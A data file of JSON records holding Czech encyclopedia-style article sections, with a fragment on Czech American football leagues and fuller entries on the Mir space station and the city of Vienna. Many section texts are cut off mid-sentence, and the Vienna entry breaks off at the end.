Hellboys, Pardubice Stallions, Příbram Bobcats Česká juniorská liga existuje od roku 2002. Historicky nejúspěšnějším juniorským týmem jsou Prague Lions, kteří vyhráli celkem 6 titulů za posledních 8 let.", "Turnajová série pro začínající týmy v 7 on 7 fooball, která je mimo ČAAF. Hraje se formou turnajů, které se pořádají cca každý měsíc. Týmy hrají systémem \"každý s každým\" o body v celkové tabulce. Na závěr sezóny se hraje hlavní finálový zápas, tzv. Rice Bowl. Historicky prvním vítězem série A7 se stal v roce 2010 tým Znojmo Knights. V sezóně 2011 se turnajové série zúčastnily týmy: Prague Béčko, Prague Mustangs, Trutnov Rangers, Vochov Tornadoes a Znojmo Knights. Tým Milovice Wolfs ze série odstoupil. Sezónu vyhrál tým Prague Béčko, který ve finále porazil tým Vochov Tornadoes, v napínavém zápase, 7:6.", "Mezinárodní: Národní:", "Hráči často trpí chronickou traumatickou encefalopatií." ] }

{ "title": [ "Plánování a vývoj.", "Předběžné úvahy.", "Konstrukce.", "Výroba.", "Start.", "Moduly.", "Základní blok.", "Kvant (někdy označován jako Kvant 1).", "Kvant 2.", "Kristall.", "Spektr.", "Stykový modul.", "Priroda.", "Palubní systémy.", "Posádka.", "Typický denní program posádky.", "Průběh letu.", "Rok 1986.", "Rok 1987.", "Roky 1988–1989.", "Roky 1990–1995.", "Roky 1996–1998.", "Srážka s Progressem.", "Roky 1998–2001.", "Zánik stanice.", "Výsledky letu." ], "section_level": [ "1", "2", "2", "2", "2", "1", "2", "2", "2", "2", "2", "2", "2", "1", "1", "2", "1", "2", "2", "2", "2", "2", "3", "2", "3", "2" ], "content": [ "Mir navazoval na sovětské orbitální stanice Saljut. Původně se uvažovalo o vypuštění nové stanice Saljut 8, která by byla sice dokonalejší, ale velmi podobná předcházejícím Saljutům. Stanice Mir se nakonec stala úplně novou, samostatnou stanicí, přestože vycházela z konstrukce Saljutů. Byla zvolena modulová koncepce s jedním hlavním blokem, ke kterému se dal pomocí spojovacích uzlů připojit další laboratoře. Toto řešení mělo jednu obrovskou výhodu – konfiguraci základny bylo možné podle potřeby měnit nebo doplnit o další části. První návrh vícemodulové orbitální stanice vytvořil v 70. letech konstruktér Valentin Gluško. V roce 1976 padlo rozhodnutí vyvinout raketu RAA-135, ze které se zanedlouho stala nosná raketa Eněrgija a další generaci orbitálních stanic DOS (Dolgovremennaja Orbitalnaja Stancija – dlouhodobá orbitální stanice, oficiálně Saljut), označených jako DOS-7 a DOS-8. První z nich byla zanedlouho pojmenována Mir, druhá měla být Mir-2, který byl později sloučen s americkým projektem Freedom a vedl k výstavbě Mezinárodní vesmírné stanice. Na rozdíl od stanic Saljut, které měly jen dva spojovací uzly, DOS-7 měla mít uzly až čtyři, což značně rozšiřovalo možnosti jejího využití. Později konstruktéři přidali ještě další dva uzly, takže stanice mohla současně přijmout až 6 nezávislých lodí.", "Roku 1975 zahájili konstruktéři NPO Eněrgija práce na nové, už třetí, generaci stanic DOS. Začátkem roku 1976 Eněrgija předložila nadřízenému ministerstvu všeobecného strojírenství první technický návrh stanice. Základní blok, typu DOS a vybavený zdokonalenými palubními systémy, měl mít kromě dvou spojovacích uzlů v ose stanice (vpředu a vzadu) ještě dva boční uzly pro sedmitunové", "Vzhledem k přetíženosti konstruktérů Eněrgije byla vlastní konstrukce základního bloku přidělena KB Saljut, nicméně celkový dohled nad pracemi si ponechal Jurij Semjonov, 1. náměstek generálního konstruktéra Eněrgije. Během roku 1979 konstruktéři provedli řadu změn vybavení stanice (nový řídící počítač, stykový systém, sestava a rozmístění antén, sestava gyroskopů). Od počátku roku 1981 začala Eněrgija prosazovat použití dvacetitunových modulů řady 37K vynášených raketou Proton. Vlastní moduly měly vážit 10 tun, z toho do 3", "Po zpracování byla dokumentace začátkem roku 1982 předána výrobním závodům – Závodu experimentálního strojírenství v NPO Eněrgija a Závodu Chruničeva. Byla zahájena výroba dvojice základních bloků, s typovým označením 17KS a výrobním číslem 12701 (budoucí Mir) a 12801 (budoucí modul Zvezda stanice ISS). Během roku 1983 KB Saljut navrhlo jinou variantu výstavby modulů. A sice postavit je na základě lodi TKS podle vzoru projektu TKS-M, vypuštěnému k Saljutu 7 pod názvem Kosmos 1686. Výhodou bylo nahrazení desetitunového tahače výrazně lehčím motorovým úsekem, což přineslo zvýšení váhy užitečného zatížení z 3 na 5 tun. V červnu 1984 bylo", "První datum startu základního bloku byl 16. února 1986. Několik desítek sekund před startem však řídící středisko ztratilo spojení s Mirem, a proto byl start odvolán. Mir úspěšně odstartoval o čtyři dny později s nosnou raketou Proton K. Starty ostatních modulů měly následovat krátce po startu Kvantu (březen 1987), ale", "Vesmírná stanice Mir se skládala z těchto modulů:", "Obytný a řídící modul, první modul stanice, vypuštěn 19. února 1986. Konstrukčně se skládal ze čtyř základních částí: přechodového úseku, pracovního úseku, přístrojového úseku a z přechodové komory. Byl dlouhý 13,13 m.", "Druhý modul Miru, připojen 12. dubna 1987. Astrofyzikální modul složený z laboratorního úseku, přechodové komory a externího úseku přístrojů. Laboratorní úsek měl tvar válce a přecházel vpředu do", "Modul určený pro dovybavení Miru zařízením, které pro příliš velkou hmotnost nemohlo odstartovat v základním bloku, palivem a spotřebními látkami. Připojen 6. prosince 1989. Jeho konstrukce je odvozena od dopravní lodi TKS původně určené pro vojenské stanice Almaz. Modul", "Technologický modul, připojen 10. července 1990. Byl určen na vědecké a technologické pokusy, ale také na spojení s raketoplánem Buran, ke kterému však nikdy nedošlo. Setkávací spojovací uzel byl upraven pro připojení těles v hmotnosti do sta tun. Skládal se z dvou", "Modul sloužící pro pozorování Země, zvláště pak přírodních zdrojů a atmosféry, připojen 1. června 1995. Byl vybaven ruskými i americkými přístroji. V době startu měl hmotnost 23 500 kg,", "Modul zajišťující spojení s americkým raketoplánem, protože spojení přes modul Kristall bylo komplikované. Byl připojen 15. listopadu 1995. Přes modul se", "Modul pro dálkový průzkum Země, připojen 26. dubna 1996. Probíhalo na něm měření příměsí různých látek v atmosféře, sledování globální tepelné výměny, pozorování cirkulace mraků, měření eroze, radioaktivity, sledování ekologické situace a jiná měření. Nesl též větší množství amerických přístrojů. Jeho délka byla 12 m, průměr 4,35 m a hmotnost 19 700 kg. Modul nebyl vybaven solárními panely", "Na Miru se nacházelo množství palubních systémů. Základ kontrolních a řídících systémů představovalo 7 počítačů, které umožňovaly maximálně automatizovat řízení letu, činnost palubních systémů a vědecké aparatury. S palubní automatikou byly spojeny také pulty povelové a výstrahové signalizace, řízení motorových jednotek, systémů elektrického zásobování, regenerace vody, termoregulace a zajištění výstupu kosmonautů do otevřeného prostoru. Dalším palubním systémem byl systém řízení letu, jehož úlohou bylo udržovat stanici v požadované poloze a orientaci. Systém přijímal údaje ze snímačů úhlových rychlostí (akcelerometrů), slunečních a astronavigačních čidel, infračervených čidel a optických zaměřovačů. Významnou novinkou v systému orientace bylo použití gyroskopických stabilizátorů. Vlastní motorový systém tvořily dva hlavní motory s tahem 2943 N. Používaly se při korekcích oběžné dráhy. Kromě toho stanice obsahovala ještě 32 malých reaktivních motorů s tahem 137,3 N. Všechny motory spalovaly stejné pohonné hmoty ze společné nádrže. Motory byly umístěny na částech modulů nazývaných přístrojové úseky. Primárním zdrojem elektrické energie byly solární panely pracující na bázi arzenidu gália. Pomocí snímačů polohy Slunce byly vždy automaticky orientovány na Slunce.", "Na palubě Miru mohlo společně pracovat až 6 kosmonautů, většinou však jejich počet nebyl vyšší než 3. Jejich dopravu na stanici zabezpečovaly kosmické lodě Sojuz-TM nebo Sojuz-T, materiál dopravovaly lodě Progress a Progress-M. Později zajišťovaly zásobování a výměnu členů posádky i americké raketoplány v rámci projektu Shuttle-Mir. První dvoučlenná posádka vstoupila na Mir 15. března 1986, poslední jej opustila 15. června 2000.", "Kosmonauti se řídili moskevským časem s tím rozdílem, že se nepřecházelo na letní čas. V případě mimořádně silných slunečních erupcí měli kosmonauti omezenou pracovní dobu", "", "Základní blok Miru byl na oběžnou dráhu vypuštěn 19. února 1986 nosnou raketou Proton-K. V datu startu se některé zdroje liší přesto, že Mir odstartoval 19. února v 21:28 UT, na kosmodromu Bajkonur byl již 20. únor. Z výchozí oběžné dráhy se stanice vlastními motorickými manévry dostala 7. března téhož roku na pracovní oběžnou dráhu. Zpočátku se Mir pohyboval po značně excentrické dráze (v den vypuštění 171–302 km), poté se dráha upravovala, přičemž 26. března 1986 byl rozdíl mezi apogeem a perigeem jen 20 km (průměrná výška 384 km). 15. března 1986 se nad Atlantským oceánem spojila s Mirem transportní loď Sojuz T-15, která odstartovala z Bajkonuru 13. března. Po kontrole hermetičnosti spoje kosmonauti Leonid Kizim a Vladimir Solovjov přešli do stanice jako její první základní", "Začátkem roku 1987 selhala nosná raketa Proton vynášející do kosmu komunikační družici Luč, která měla zlepšit možnosti spojení Miru s řídícím střediskem v Kaliningradě. V průběhu roku 1987 se na Miru vystřídaly 4 stálé posádky a k Základnímu bloku byl připojen modul Kvant. Tuto událost provázelo mnoho problémů. Pro případ možné havárie seděli členové posádky Romaněnko a Lavejkin během spojovacího manévru v transportní lodi Sojuz oblečeni ve skafandrech. Při prvním pokusu o spojení se obě tělesa minula o 10 metrů. 9. dubna proběhl druhý pokus: astrofyzikální modul se zachytil o spojovací uzel stanice, nedošlo však k pevnému mechanickému spojení. Při elektromechanickém přitahování modulu se posun zastavil ve vzdálenosti 375 mm z potřebných 384 mm. O dva dny později řídící středisko rozhodlo o neplánovaném výstupu tehdejší posádky Romaněnka a Lavejkina do otevřeného prostoru. Kosmonauti přeručkovali k zadní části stanice a okolo 20:43 UT oznámili řídícímu", "V roce 1988 se na Miru vystřídalo 12 kosmonautů. Mezi nimi i první afghánský kosmonaut Abdul Mómand. Práce pokračovaly především na vědeckých experimentech: příprava polovodičových materiálů, geofyzikální experimenty, dálkový průzkum Země, fotografování oblohy v ultrafialové oblasti spektra, sledování zdravotního stavu a pracovních schopností kosmonautů a jiné. 26. února, 3. června a 20. října proběhly výstupy do otevřeného prostoru. Poslední z výstupů byl zajímavý tím, že skafandry kosmonautů Vladimir Titov a Musa Manarov nebyly v automatickém režimu, ale byly připojeny na palubní systém zabezpečení životních podmínek. Třetí člen posádky Valerij Poljakov byl během výstupu v návratovém modulu lodě Sojuz TM-6. Kdyby nastala nějaká havárie, mohl se okamžitě oddělit od stanice a přistát. Tento postup byl v případě nebezpečných operací použit vícekrát. V období od 26. dubna do 7. září 1989 byla stanice opět bez posádky,", "Začátkem roku 1990 vykonali Alexandr Viktorenko a Alexandr Serebrov tři výstupy do otevřeného prostoru. Během třetího výstupu poprvé vyzkoušeli novou přechodovou komoru v modulu Kvant-2 a nové skafandry typu Orlan. 1. února bylo během dalšího výstupu vyzkoušeno kosmické křeslo Ikaros, které umožňuje kosmonautovi pohybovat se nezávisle na kosmické lodi nebo stanici. NASA vyvinula podobné zařízení označované jako MMU, ale stejně jako MMU, ani Ikaros se nakonec v praxi nepoužíval. 11. února odstartovala k Miru loď Sojuz TM-9 s novou posádkou, kterou tvořili Anatolij Solovjov a Alexandr Balandin. Ve vesmíru zjistili poškození tepelné izolační vrstvy na povrchu návratového modulu, která je měla chránit před extrémními teplotami. Po spojení s Mirem proto uskutečnili opravářský výstup, který trval rekordních 7 hodin a 16 minut. Při návratu nastal problém s uzavřením krytu přechodové komory v modulu Kvant-2, a proto se museli vrátit přes starou komoru v Základním bloku. 31. května 1990 odstartoval modul Kristall, který se spojil s komplexem na druhý pokus. 8. ledna 1994 přiletěl již podruhé na stanici lékař a kosmonaut Valerij Poljakov, který se na Zem vrátil o 437 dní později. 3. října 1994", "22. března 1996 přivezl raketoplán Atlantis při STS-79 na palubu Miru první americkou astronautku Shannon Lucidovou, která tam zůstala delší dobu. 23. dubna 1996 se do vesmíru vydala poslední část komplexu – modul Priroda. Po jeho startu se vyskytl problém s dodávkou elektrické energie. Po úspěšném spojení byl komplex konečně kompletní. 26. února 1997 vypukl na palubě Miru požár. Příčinou bylo vzplanutí zařízení na regeneraci vzduchu. Kosmonauti Valerij Korzun a Alexandr Kaleri požár okamžitě zaregistrovali a nasadili si plynové masky. Podle amerického člena posádky Jerryho Linengera plameny sahaly do výšky 1,5 metru a navíc blokovaly přístup do lodě Sojuz, kterou měli v případě nebezpečí uniknout", "Za nejhorší a nejnebezpečnější problém, který kdy Mir potkal, se považuje srážka s nákladní lodí Progress M-34. Ke kolizi došlo 25. června 1997 v 09:20 UTC. Den předtím byl Progress odpojen od stanice. 25. června se posádka pokusila při ručním navádění o opětovné spojení. Při tomto manévru se prověřovala funkčnost nového navigačního systému TORU. Loď však namísto toho narazila do vědeckého modulu Spektr. Nejdříve do jeho solárních panelů, ve kterých zůstala asi 40 cm díra, potom do samotného modulu, který těžce poškodila. Podle některých zdrojů byla srážka vinou kosmonautů Vasilije Ciblijeva a Alexandra Lazutkina, kteří možná v důsledku přepracování a únavy Progress špatně navedli. Podle jiných bylo příčinou selhání naváděcího systému Progressu. Náraz způsobil dekompresi modulu Spektr – z modulu začal unikat vzduch. Mir tak přišel o jeden ze svých modulů, který musela posádka nouzově uzavřít a odpojit kabely zajišťující asi 40 % elektrické", "2. června 1998 odstartoval raketoplán Discovery na STS-91. Šlo o devátou a poslední misi raketoplánů, jejímž cílem byla vesmírná stanice Mir. Raketoplánem se na Zem vrátil astronaut Thomas Andrew. 15. června 2000 opustila Mir poslední stálá posádka – Sergej Zaljotin a Alexandr Kaleri. Tři dny předtím absolvovali poslední výstup do kosmu, který trval 4 hodiny a 52 minut. Při výstupu demontovali vědecké přístroje, které byly umístěny na venkovní části stanice. Nepotřebné vybavení a odpadky naložili do lodě Progress M1-2, potřebný náklad a vzorky umístili na palubu své návratové lodě Sojuz TM-30. V 19:10 UT byl uzavřen průlez mezi Mirem a Sojuzem a v 21:24:49 UT se poslední Sojuz oddělil od stanice a 15. října jej následoval i Progress M1-2. V době od 2. října do 25. října byla stanice řízena ze Země. Ke konci roku ztrácelo řídící středisko se stanicí spojení. 30. prosince 2000 vydala vláda Ruské federace nařízení organizaci Rosaviakosmos, aby zajistila bezpečné stáhnutí komplexu z oběžné dráhy.", "Dne 24. ledna 2001 v 04:28:42 UT z Bajkonuru odstartovala nákladní loď Progress M1-5 s nákladem 2677 kg paliva, z toho 1797 kg bylo určeno pro navedení Miru do atmosféry Země. V případě, že by se jej nepodařilo k Miru připojit, byla připravena tzv. záchranná expedice na lodi Sojuz. Její posádku tvořili Gennadij Padalka a Nikolaj Budarin. Jejich cílem bylo v případě potřeby zajistit manuální spojení Progressu s Mirem. Nakonec však nebylo nutné tuto misi uskutečnit. O den dříve, 23. ledna 2001 v 05:20 UT, se od Miru oddělila předchozí nákladní loď Progress M-43 a tím uvolnila zadní stykovací uzel +X (na modulu Kvant) pro Progress M1-5. 27. ledna v 05:33 UT se Progress M1-5 v automatickém režimu úspěšně spojil s Mirem. Stanice se v té době nacházela na dráze ve výšce okolo 292 km. Přecházející Progress M-43 byl 29. ledna v 02:12 UT brzdícím manévrem naveden do hustých vrstev atmosféry, kde přibližně v 02:58 UT zanikl. Progress M1-5 dne 23. března, když průměrná výška dráhy klesla pod 220 km, navedl", "Celkem bylo provedeno na 31 200 pozorování, z toho 7500 s pomocí zahraničních přístrojů. Přičemž 23 600 v rámci sovětského, resp. ruského federálního kosmického programu a 7700 na komerčním základě. Na Zem bylo předáno 1690 gigabajtů dat, a vráceno 4700 kg nákladu s výsledky experimentů. Během 6700 technických pokusů byla vyzkoušena technogie sestavování velkých konstrukcí, vypracovány metody a způsoby provádění údržby a oprav vybavení stanice. Výsledná doba práce Miru byla nakonec trojnásobná proti předpokládané životnosti. Proběhly experimenty zaměřené na růst čistých krystalů v podmínkách mikrogravitace. Během více než 2450 experimentů v oblasti výzkumu materiálů a kosmických technologií byly vyzkoušeny základní technologie výroby polovodičů, přičemž byly získány materiály převyšující kvalitou pozemské analogy. Celkem bylo provedeno přes 2300 lékařských experimentů, z toho 800 během rekordního letu Poljakova o délce 1,5 roku. Na Miru bylo získáno velké množství dat o působení kosmického prostředí, zejména stavu beztíže, na člověka, ale i na různé rostliny a živočichy. Ve 130 biotechnologických experimentech byly vyzkoušeny procesy separace a čištění bílkovin, získány zkušební série léčiv, především antibiotik, vyrobeny vysoce čisté bílkovinné krystaly. Během letu stanice bylo ofotografováno 125 mil. km2 Země, vytvořena databanka získaných informací o zemském povrchu, oceánech i atmosféře. Ve více než 6200 astronomických pozorováních byly získány nové poznatky o supernově 1987A, objeveny nové zdroje rentgenového záření (tzv. kvant source), sledován střed Galaxie. Na Miru byla odzkoušena mezinárodní spolupráce nezbytná pro pozdější stanici ISS. Zejména společné řízení letů stanice a raketoplánu ze dvou středisek řízení letů (v Houstonu a Koroljovu), připojování raketoplánů ke stanici, společná práce mezinárodních posádek, využívání vybavení různého původu, sjednocení zásad zpracování dokumentace." ] }

{ "title": [ "Poloha a geografie.", "Historie.", "Obyvatelstvo.", "Správní členění Vídně.", "Kultura.", "Hudební život.", "Divadla a operní domy.", "Muzea.", "Architektura.", "Vzdělanost.", "Každodennost.", "Podnebí.", "Sport.", "Doprava.", "Sídla organizací." ], "section_level": [ "1", "1", "1", "1", "1", "2", "2", "2", "2", "2", "2", "1", "1", "1", "1" ], "content": [ "Vídeň leží v rámci Rakouska dosti excentricky, při jeho severovýchodním okraji. Zatímco od nejvzdálenější části rakouského území (Vorarlbersko) je vzdušnou čarou přes 500 km daleko, je její centrum vzdáleno pouze kolem 55 km od hranice s Českem a Maďarskem a jen 40 km od hranice se Slovenskem. Příčinou je historický územní vývoj Rakouska, jehož jádro zůstávalo v Dolních Rakousích, ale z někdejších držav se udržely prakticky jen ty alpské, jihozápadně od Vídně. Sama Vídeň se nachází na východním úbočí Vídeňského lesa, pod místem, kde Dunaj protéká Korneuburskou bránou a vstupuje do Vídeňské pánve. Je tedy na Dunaji položena podobným způsobem jako Bratislava nebo Budapešť. Jádro Vídně leží na ostrohu nad ústím říčky Vídeňky (\"Wien\") do ramene Dunaje zvaného dnes \"Donaukanal\" (\"Dunajský kanál\").", "Vídeňská pánev je díky své výhodné poloze a příznivému klimatu nepřetržitě osídlena už od mladší doby kamenné. Jméno dostalo místo po keltské osadě \"Vedunia\", což v překladu znamená lesní potok. Kolem přelomu letopočtu bylo území dobyto Římany, kteří na místě dnešního centra města vybudovali vojenský tábor s přilehlým městem. Neslo jméno \"Vindobona\" a jeho úkolem byla obrana severní hranice říše před germánskými kmeny. Roku 180 při tažení proti Markomanům zde zemřel císař Marcus Aurelius. Římané opustili město v 5. století, ale osídlení v místě nikdy zcela nezaniklo a ve středověku bylo na římských základech obnoveno opět do podoby města. Roku 1155 učinil markrabě Jindřich II. Jasomirgott Vídeň hlavním městem Rakous, na základě Privilegia minus (1156) povýšených na vévodství. Při návratu z křížové výpravy byl na území města zajat anglický král Richard I. Lví srdce. Výkupné složené za jeho propuštění se stalo stimulem pro další rozvoj města jako významného obchodního střediska v Podunají. Za vlády prvních Habsburků se Vídeň jako jejich sídelní město stala na krátký čas centrem Svaté říše římské. Po nástupu Lucemburků na císařský trůn převzalo tuto roli hlavní město Českého království Praha, aby ji v době husitské revoluce a husitských válek opět až do panování Rudolfa II. ztratilo. Roku 1365 byla založena Vídeňská univerzita, třetí nejstarší univerzita severně od Alp. V roce 1438 se Vídeň na dlouhou dobu – s přestávkou za Rudolfa II. – opět stala rezidenčním městem císařů. Nedlouho poté byla zřízena Vídeňská arcidiecéze (1469). Ve dvacátých letech 16. století se Vídeň stala centrem podunajského soustátí, které zahrnovalo rakouské, české a uherské země a s krátkými přestávkami jím zůstala až do roku 1918. V letech 1529 a 1683 byla u Vídně odražena turecká vojska, která do té doby úspěšně postupovala přes celý Balkán. Město bylo až do roku 1804 centrem jedné z evropských velmocí a rezidencí císaře Svaté říše římské a jeho dvora. V tomto roce a definitivně roku 1806 byla role Vídně z vůle císaře Francouzů Napoleona Bonaparte po jeho vítězstvích v první fázi napoleonských válek omezena na hlavní město nově vytvořeného Rakouského císařství. Roku 1814 byl do Vídně svolán kongres, který řešil nové poválečné uspořádání Evropy po Napoleonově pádu. Druhá polovina 19. století a počátek 20. století byly poznamenány bouřlivým rozvojem Vídně. Na místě hradeb vznikla rozsáhlá okružní třída lemovaná veřejnými budovami - Ringstraße, byla přestavěna podstatná část města a dřívější předměstí se propojila s vnitřním městem. Kolem roku 1910 přesáhl počet obyvatel dva miliony, takže byla Vídeň čtvrtým největším městem světa. Byla i významným centrem uměleckého života. Velkou ranou pro město byl rozpad Rakousko-Uherska po jeho porážce v první světové válce v roce 1918. Město ztratilo své zázemí v obrovské říši a stalo se předimenzovaným centrem malé první Rakouské republiky. Postihl ho i odchod části českého a slovenského obyvatelstva do nového Československa (roku 1910 zde žilo zhruba čtvrt milionu Čechů a Slováků). Roku 1921 se Vídeň stala samostatnou spolkovou zemí (její obecní rada tak získala i status zemského sněmu). Mezi válkami byla Vídeň baštou socialistického hnutí v Rakousku, při krátké občanské válce roku 1934 stála v centru bojů. Roku 1938 však již její obyvatelé připravili triumfální uvítání Adolfu Hitlerovi. Rakousko bylo až do roku 1945 připojeno k nacistickému Německu a Vídeň ztratila pozici hlavního města samostatného státu. Po skončení druhé světové války bylo město rozděleno na čtyři okupační zóny a vítězné velmoci Sovětský svaz, Spojené státy americké, Spojené království a Francie spravovaly Vídeň po dobu deseti let až do obnovení plné rakouské suverenity (1955). Od 70. let 20. století až do současnosti zažívá Vídeň prudký rozvoj. Díky rakouské neutralitě se stala sídlem mnoha mezinárodních organizací, jako jsou UNIDO, UNOV, CTBTO, UNODC, Mezinárodní agentura pro atomovou energii (IAEA), Organizace pro bezpečnost a spolupráci v Evropě (OBSE) a v neposlední řadě Organizace zemí vyvážejících ropu (OPEC). Také hospodářské a kulturní aktivity ve městě dopomohly k velké atraktivitě Vídně v mezinárodním srovnání. Možnost svobodného podnikání po roce 1955 brzy pozitivně odlišila stupeň rozvoje hospodářství Vídně a celého Rakouska od sousedících socialistických států a jejich hlavních měst (Praha, Budapešť a další). Ve Vídni se usadily pobočky velkých světových firem zaměřené na obchod s ČSSR, Maďarskem, Jugoslávií a Rumunskem. Po rozpadu Varšavského paktu se podpůrná a zprostředkovatelská role vídeňských bank, obchodních a poradenských firem pro hospodářský rozvoj Střední a Východní Evropy, Ukrajiny a Ruska ještě umocnila.", "Ke dni 1. ledna 2011 měla Vídeň 1 713 957 obyvatel. Avšak těsně před první světovou válkou byla Vídeň s více než dvěma miliony obyvatel čtvrtým největším městem na světě. Druhá polovina 19. a začátek 20. století, kdy byla centrem velké mnohonárodnostní říše, jí vtiskly charakter sídla tvořeného lidmi různého původu, kultur a náboženství. V roce 1900 byla čtvrtina obyvatel tvořena rodáky z území dnešní České republiky (Češi i čeští Němci). Významné přistěhovalecké vlny přišly z Haliče (především Židé a Poláci) a dnešního Chorvatska. Po první světové válce město ztratilo mnoho obyvatel, kteří se vrátili do svých rodných zemí. Jednalo se především o Čechy, Slováky a Maďary. Počet obyvatel se koncem 30. let zvýšil vytvořením Velké Vídně, vzápětí ale zase poklesl v důsledku odchodu 140 000 a vyvraždění dalších 60 000 vídeňských Židů. Zanikl tím i osobitý charakter II. okresu (Leopoldstadtu), který byl dříve určen právě touto menšinou. Po válce klesl počet obyvatel až na 1,6 milionu. Ve válce padlo mnoho vídeňských vojáků nebo se nevrátili ze zajetí. Město bylo z 20 % zničeno a bylo okupováno spojeneckými vojsky. Počet obyvatel posléze klesl až pod 1,5 milionu obyvatel (1987). Svůj podíl na demografickém propadu měla i změna životního stylu a vystěhovalectví na dolnorakouský venkov. Následný opětovný nárůst počtu obyvatel Vídně nebyl důsledkem zvýšení porodnosti, ale přistěhovalectví. V letech 1987–1994 zde našlo azyl 60 000 uprchlíků, především z bývalé Jugoslávie a Turecka. Mezi lety 1998–2005 se přistěhovalo dalších 85 000 nových obyvatel. Pestrý původ je dodnes zřetelný ve velkém podílu příjmení slovanského a maďarského původu, která v jiných spolkových zemích Rakouska často ukazují na vídeňský původ nositele. Mnozí obyvatelé Vídně doposud používají vídeňský dialekt, který se ale u mladší generace vytrácí nebo se omezuje na několik základních slov a slovních obratů. Podle sčítání z roku 2001 žilo ve Vídni jen 1,55 milionu obyvatel. Z toho se necelá čtvrtina nenarodila v Rakousku a necelá pětina neměla rakouské občanství. Polovinu cizinců tvořili občané států bývalé Jugoslávie (120 000 obyvatel) a Turecka (48 000); dále zde žije 26 000 Němců, 25 000 Poláků, 21 000 Čechů, 12 000 Maďarů a 10 000 Rumunů. Úředně uznaný statut jazykové menšiny mají mluvčí českého, maďarského, slovenského a romského jazyka. Počátkem roku 2009 žilo ve Vídni již 1,69 milionu obyvatel. Vzhledem k růstu porodnosti i přistěhovalectví se předpokládá, že kolem roku 2030 může Vídeň opět dosáhnout počtu dvou milionů obyvatel. Roku 2003 se Vídeň společně s Bratislavou zapojila do projektu „Twin City“ v rámci regionu CENTROPE a obě města tak vytváří společný region s téměř třemi miliony obyvatel. Mezi nejvýznamnější činnosti projektu Twin City patří společný rozvoj dopravy, zvláště propojení hromadné dopravy obou hlavních měst, hlubší politická spolupráce a společný marketing obou měst. Podle průzkumu Rakouské akademie věd se v roce 2011 největší podíl Vídeňanů hlásil k římsko-katolickému křesťanství – 41 % (v roce 1961 to bylo ještě 82 %). Město je sídlem katolické arcidiecéze. Bez vyznání je téměř třetina obyvatel. Muslimové mají ve městě podíl 12 %, pravoslavní křesťané 9 % a evangelíci 4 %. Dříve významná židovská obec má nyní jen několik tisíc členů (0,5 %). V roce 2014 mělo přistěhovalecký původ 49 % obyvatel Vídně. Ve Vídni je více než 120 islámských mateřských školek, které provozuje muslimská komunita.", "Vídeň se člení na 23 samosprávných městských částí tradičně označovaných jako vídeňské městské okresy (\"Wiener Stadtbezirke\"). První byly vytvořeny roku 1850 při prvním rozšíření Vídně. Od té doby se zvětšil nejen jejich počet, ale i rozloha. Kromě toho docházelo i k jistým změnám hranic těchto celků. Městské okresy se dále člení celkem na 89 katastrálních území, jejichž hranice se však v některých případech nekryjí s hranicemi městských okresů.", "", "Vídeň se vyznačuje bohatou hudební tradicí, jejíž vrchol se datuje na přelom 18. a 19. století, kdy v městě tvořili Wolfgang Amadeus Mozart, Joseph Haydn a Ludwig van Beethoven. Později se proslavili Franz Schubert, Franz Liszt, Johannes Brahms, Anton Bruckner a Gustav Mahler, stejně jako na začátku 20. století příslušníci \"Nové vídeňské školy\" kolem Arnolda Schönberga. Za nejlepší interpretaci Mozartových děl je každé dva roky akademií ve Vídni udělována cena Wiener Flötenuhr. Vídeňští filharmonikové patří mezi nejznámější symfonické orchestry Evropy a celého světa. Kromě nich působí ve Vídni řada dalších hudebních těles, jako jsou komorní orchestry, smyčcové kvartety a jiné, což činí Vídeň významným centrem hudebního života. Ve Vídni jsou usazeny také hudební agentury, které zprostředkovávají angažmá pěvcům, dirigentům a jiným hudebníkům. Město dalo jméno tanci z období největšího rozmachu města v druhé polovině 19. století – vídeňskému valčíku. Nerozlučně jsou s valčíkem spojena jména skladatelů jako jsou především Johann Strauss starší a Johann Strauss mladší, ale také Josef Lanner. Johann Strauss mladší složil i hudbu pro několik operet. Dalšími významnými operetními skladateli, kteří působili ve Vídni, byli Franz von Suppé, Franz Lehár a po jistou dobu rovněž Emmerich Kálmán.", "Divadlo Burgtheater patří mezi přední německojazyčná divadla, dobrou pověst si drží i Volkstheater a Theater in der Josephstadt. Ve městě působí také velké množství malých scén a kabaretů. Od roku 2000 je ve Vídni předávána \"Nestroyova divadelní cena\", nejvýznamnější ocenění v německojazyčné oblasti. Vídeňská státní opera je zaměřena na uvádění klasických operních děl a je jednou z nejdůležitějších světových operních scén. Volksoper nabízí širší repertoár zahrnující jak opery, tak operety a muzikály. Jako třetí operní scéna slouží od roku 2006 Theater an der Wien, kde byla v premiéře uvedena Beethovenova opera Fidelio. Vídeňská komorní opera nabízí netradiční inscenace klasických i moderních děl.", "Největším muzejním komplexem je císařský palác Hofburg, kde jsou kromě interiérových instalací z druhé poloviny 19. století vystaveny některé exponáty z panovnických sbírek. Jejich hlavní část se však nachází v nedalekých monumentálních muzejních budovách, ležících naproti sobě, a sice v Uměleckohistorickém muzeu s rozsáhlou galerií starých mistrů a v Přírodovědném muzeu. Muzejní areál byl v posledním desetiletí doplněn souborem zvaným \"MuseumsQuartier\", vytvořeným v prostoru bývalých císařských koníren. Roli hlavní vídeňské \"Kunsthalle\" plní Albertina, která stavebně navazuje na komplex Hofburgu, výstavními prostory jsou i Pavilon Secese, Dům umělců a mnohé jiné. Jako muzea slouží také hlavní zahradní paláce - císařská rezidence v Schönbrunnu, Belveder Evžena Savojského i Lichtenštejnský palác v Roßau. Mezi desítky vídeňských muzeí patří \"Vojenské historické muzeum\" v budově \"Arzenálu\", soubor medicínských muzeí v prostoru \"Staré všeobecné nemocnice\" nebo \"Muzeum Sigmunda Freuda\".", "Památky z římského období se dochovaly v pouhých fragmentech. Architektonické stopy středověku představují především chrámové stavby od románského kostela \"sv. Ruprechta\" až po gotický svatoštěpánský dóm s bohatou sochařskou výzdobou. Baroko reprezentuje množství šlechtických paláců i známé kostelní stavby (sv. Karel Boromejský, univerzitní jezuitský kostel). Mimořádný urbanistický význam mělo vytvoření reprezentativní okružní třídy s řadou veřejných budov - Ringstraße - na přelomu 19. a 20. století. V posledních desetiletích byla ve městě postavena řada výškových budov, hlavně na severu města. Mezi turistické atrakce patří \"Hundertwasserhaus\" ve 3. okrese.", "Ve Vídni byla roku 1365 založena nejstarší německá univerzita, která se dodnes řadí mezi prestižní evropské vysoké školy. Její knihovna je největší vědeckou knihovnou v Rakousku. Trojici zdejších nejvýznamnějších knihoven dále tvoří Rakouská národní knihovna a \"Vídeňská městská knihovna\". Město bylo rodištěm a působištěm mnoha vědeckých kapacit – 